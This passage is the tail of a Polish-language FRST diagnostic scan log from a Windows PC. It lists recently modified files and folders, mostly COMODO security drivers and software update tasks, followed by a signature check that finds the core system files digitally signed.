2017-04-11 16:37 - 2016-07-16 08:04 - 01048576 _____ C:\WINDOWS\system32\config\BBI
2017-04-11 15:35 - 2016-09-01 16:24 - 00000000 ____D C:\WINDOWS\System32\Tasks\COMODO
2017-04-10 16:15 - 2016-09-10 13:27 - 00079142 _____ C:\WINDOWS\Control.KTL
2017-04-07 08:35 - 2016-09-01 16:24 - 00003566 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineUA
2017-04-07 08:35 - 2016-09-01 16:24 - 00003442 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineCore
2017-04-06 19:40 - 2017-03-08 10:56 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-04-06 19:40 - 2015-06-09 15:53 - 00000000 ____D C:\ProgramData\Skype
2017-04-05 08:01 - 2015-06-05 14:34 - 00732368 _____ (COMODO) C:\WINDOWS\SysWOW64\guard32.dll
2017-04-05 08:01 - 2015-06-05 14:34 - 00051808 _____ (COMODO) C:\WINDOWS\system32\cmdcsr.dll
2017-04-05 08:00 - 2015-06-05 14:34 - 00941768 _____ (COMODO) C:\WINDOWS\system32\guard64.dll
2017-04-05 07:58 - 2015-06-05 14:33 - 00457408 _____ (COMODO) C:\WINDOWS\system32\cmdvrt64.dll
2017-04-05 07:56 - 2015-06-05 14:31 - 00363200 _____ (COMODO) C:\WINDOWS\SysWOW64\cmdvrt32.dll
2017-04-01 09:14 - 2016-09-01 16:02 - 00000000 ____D C:\ProgramData\Package Cache
2017-04-01 09:13 - 2016-05-24 17:38 - 00000000 ____D C:\ProgramData\Garmin
2017-04-01 09:13 - 2016-05-24 17:37 - 00000000 ____D C:\Program Files (x86)\Garmin
2017-04-01 09:12 - 2016-09-01 16:24 - 00003624 _____ C:\WINDOWS\System32\Tasks\GarminUpdaterTask
2017-03-31 03:01 - 2015-06-05 14:36 - 00831504 _____ (COMODO) C:\WINDOWS\system32\Drivers\cmdguard.sys
2017-03-31 03:01 - 2015-06-05 14:36 - 00129200 _____ (COMODO) C:\WINDOWS\system32\Drivers\inspect.sys
2017-03-31 03:01 - 2015-06-05 14:36 - 00050808 _____ (COMODO) C:\WINDOWS\system32\Drivers\cmdhlp.sys
2017-03-31 03:01 - 2015-06-05 14:36 - 00040960 _____ (COMODO) C:\WINDOWS\system32\Drivers\cmderd.sys
2017-03-28 23:10 - 2016-09-29 17:11 - 00000000 ____D C:\ProgramData\DatacardService
2017-03-28 23:06 - 2013-09-05 14:35 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Acer
2017-03-28 23:06 - 2013-09-05 14:35 - 00000000 ____D C:\Program Files (x86)\Acer

==================== Pliki w katalogu głównym wybranych folderów =======

2016-03-03 12:48 - 2016-03-03 12:48 - 0000000 _____ () C:\Users\Janusz\AppData\Local\{8A097214-968E-4C98-95DE-4EA5A7EF2B71}
2016-09-01 16:03 - 2016-09-01 16:03 - 0000000 ____H () C:\ProgramData\DP45977C.lfl

==================== Bamital & volsnap ======================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\WINDOWS\system32\winlogon.exe => Plik podpisany cyfrowo
C:\WINDOWS\system32\wininit.exe => Plik podpisany cyfrowo
C:\WINDOWS\explorer.exe => Plik podpisany cyfrowo
C:\WINDOWS\SysWOW64\explorer.exe => Plik podpisany cyfrowo
C:\WINDOWS\system32\svchost.exe => Plik podpisany cyfrowo
C:\WINDOWS\SysWOW64\svchost.exe => Plik podpisany cyfrowo
C:\WINDOWS\system32\services.exe => Plik podpisany cyfrowo
C:\WINDOWS\system32\User32.dll => Plik podpisany cyfrowo
C:\WINDOWS\SysWOW64\User32.dll => Plik podpisany cyfrowo
C:\WINDOWS\system32\userinit.exe => Plik podpisany cyfrowo
C:\WINDOWS\SysWOW64\userinit.exe => Plik podpisany cyfrowo
C:\WINDOWS\system32\rpcss.dll => Plik podpisany cyfrowo
C:\WINDOWS\system32\dnsapi.dll => Plik podpisany cyfrowo
C:\WINDOWS\SysWOW64\dnsapi.dll => Plik podpisany cyfrowo
C:\WINDOWS\system32\Drivers\volsnap.sys => Plik podpisany cyfrowo

LastRegBack: 2017-04-20 15:59

==================== Koniec  FRST.txt ============================